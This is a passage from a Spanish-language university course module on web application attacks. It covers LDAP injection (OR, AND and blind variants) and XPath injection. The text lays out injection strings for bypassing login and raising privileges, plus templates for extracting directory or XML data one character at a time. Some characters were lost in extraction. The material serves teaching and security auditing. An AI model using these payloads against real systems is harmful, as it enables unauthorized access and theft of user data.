en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

